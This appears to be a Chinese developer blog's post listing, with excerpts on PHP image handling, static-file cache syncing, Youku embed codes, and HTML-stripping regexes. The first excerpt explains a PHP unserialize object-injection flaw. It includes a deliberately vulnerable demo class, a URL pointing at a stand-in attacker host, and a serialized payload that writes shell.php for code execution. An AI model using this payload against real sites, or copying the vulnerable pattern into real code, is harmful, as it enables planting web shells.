五维工作室

这里是你们可以实现梦想的地方

php序列化函数unserialize对象注入漏洞(也成为pop链漏洞)

今天发现主站 https://www.tipsns.com 对应的官方博客
http://blog.tipsns.com 居然被别人黑了挂了木马,
最后发现了一个非常隐蔽的对象注入漏洞,这里是演示对象注入漏洞的测试程序:

class foo{
    private $file = "test.txt";
    private $data = "text";
    public function __destruct()
    {
        file_put_contents($this->file, $this->data);
    }
}

$filename = $_GET['filename'];
echo "Readfile filename<br/>" . PHP_EOL;
if(file_exists($filename)) {
    unserialize(file_get_contents($filename));
} else {
    echo 'no file<br/>' . PHP_EOL;
}

这段代码有三个漏洞触发条件:
1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。

2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。

3、传递给反序列化操作的数据必须来自于一个文件,所以服务器上必须包含有一个包含序列化数据的文件。

这里特别注意serialize触发__wakeup, unserialize触发__destruct 都可以在不知不觉中导致漏洞发生

比如通过:http://localhost/unserialize.php?filename=http://attacker/exp.txt
包含内容O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}
然后就可以通过写入的shell.php执行任意代码

阅读全文

如何找回优酷土豆取消的分享代码功能

优酷土豆取消了分享代码功能,如何找回这些功能呢

https://www.tipsns.com/read/28.html 里面的视频

优酷分享视频如果自己写分享代码不再支持通用代码的https,只能

<embed src="https://player.youku.com/player.php/sid/XMjY1NjI0MjU5Ng/v.swf" width="510" height="498" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" align="middle">

但是貌似http的话,用通用代码还是可以的

<iframe src="http://player.youku.com/embed/XMjY1NjI0MjU5Ng==" width="640" height="498" frameborder="0" allowfullscreen=""></iframe>
阅读全文

分布式环境静态资源js,css缓存控制

1.通过last-modified 最后修改时间
expires:Mon, 18 Sep 2017 03:10:01 GMT
last-modified:Sat, 19 Aug 2017 00:59:42 GMT

2.通过 etag
etag:W/"59978d7e-14ee"
etag由两部分组成,前面的是文件修改时间,后面的是文件大小

所以分布式环境下,必须在部署的时候同步所有不同服务器文件的修改时间
方法有三个
1.通过svn获取最新log的提交时间,然后通过touch 更新静态资源的文件修改时间,并使得所有服务器的文件修改时间保持一致
svn_mtime=`svn log -q -l 1 | awk '{print $5" "$6}'
find . -exec touch -d "${svn_mtime}" {} ;

2.通过客户端提交一个version.txt,然后记录最后提交的时间
svn_mtime="$(sed 's/^\s*//;s/\s*$//' version.txt)"
find . -exec touch -d "${svn_mtime}" {} ;

3.通过scp或者rsync去同步,这里不讨论这个,scp不支持增量,rsync需要额外的启动服务配置复杂,是否成功需要每一台机器
都去care

https://www.tipsns.com/read/34.html 这里是使用的第二种方法,可以让静态资源进行缓存

阅读全文

php处理图片的那些坑

1.php不支持bmp文件,注意这里可以让前端js通过 canvas 转jpg之后再上传 php is not support bmp

2.quality本来为75的jpg保存为90,质量不会提升但是图片大小会变大,而因为默认jpg的压缩quality为75
所以大部分来源的图片都是75的,75不是相对于被处理的图片的当前质量,而是相对于未压缩的bitmap

 var quality = 0.75;  //默认图片质量为0.75
 var canvas = document.createElement('canvas');
 var ctx = canvas.getContext('2d');   // 创建属性节点
 var anw = document.createAttribute("width");   
 anw.nodeValue = w;   
 var anh = document.createAttribute("height");   
 anh.nodeValue = h;   canvas.setAttributeNode(anw);   
 canvas.setAttributeNode(anh);    
 ctx.drawImage(that, 0, 0, w, h);
if(obj.quality && obj.quality <= 1 && obj.quality > 0){    
    quality = obj.quality;   
}
var base64 = canvas.toDataURL('image/jpeg', quality ); // quality值越小,所绘制出的图像越模糊 

最后实现的效果见:https://www.tipsns.com/

3.通过js生成的jpg一般都比php生成的相同quality的图片大1/3左右
客户端75 quality的图片比php生成的大,因为没有做zip压缩,zip压缩之后二者大小一致

4.jpg的quality是越大质量越好0-100,png恰恰相反越小越好 0-9

阅读全文

php过滤和正则表达式应用(一)

通过php替换掉html标签、空格、表情[:emoji],包括 中文半角 中文全角 英文

$content = trim(preg_replace('/(\[[^\[\]]*:[^\[\]]+\]|<\/?[^>]+>|&nbsp;|&ensp;|&emsp;)/i',' ', $content));

  英文空格
  中文半角空格
  中文全角空格

php 7.3 的rfc wiki 已经放出消息,很可能废弃 strip_tags 只能自己写正则表达式了,呵呵

阅读全文